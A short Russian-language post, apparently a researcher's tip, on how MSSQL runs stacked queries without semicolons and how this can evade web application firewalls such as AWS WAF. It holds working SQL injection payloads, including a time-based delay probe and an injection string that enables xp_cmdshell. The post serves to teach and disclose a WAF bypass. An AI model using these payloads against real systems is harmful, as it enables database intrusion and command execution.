";" - символ, который мы привыкли использовать для разделения нескольких запросов в SQL-синтаксисе (если речь не идет о subquery).
И какой-нибудь PostgreSQL или MySQL запнется о конструкции, вроде
SELECT 'A' SELECT 'B' SELECT 'C'и поругается, что мы нарушили синтаксис, не указав нужный терминатор. Так как он ожидает, что мы разделим эти запросы точкой с запятой.
SELECT * FROM test WHERE id = 1 WAITFOR DELAY '0:0:5'
Но MSSQL выполнит их без ошибок. Более того, он позволит построить и более сложные конструкции.
Пример создания таблицы, записи в нее данных, селекта и удаления без разделителей:
use[tempdb]create/**/table[test]([id]int)insert[test]values(1)select[id]from[test]drop/**/table[test].или еще один пример с изменением конфигурации, чтобы можно было выполнять xp_cmdshell.
admin'exec('sp_configure''show advanced option'',''1''reconfigure')exec('sp_configure''xp_cmdshell'',''1''reconfigure')--
Это полезно тем, что некоторые WAF могут увидеть такие строки, посчитать их безопасными и пропустить запросы. Например, AWS WAF, в который и был сдан такой баг.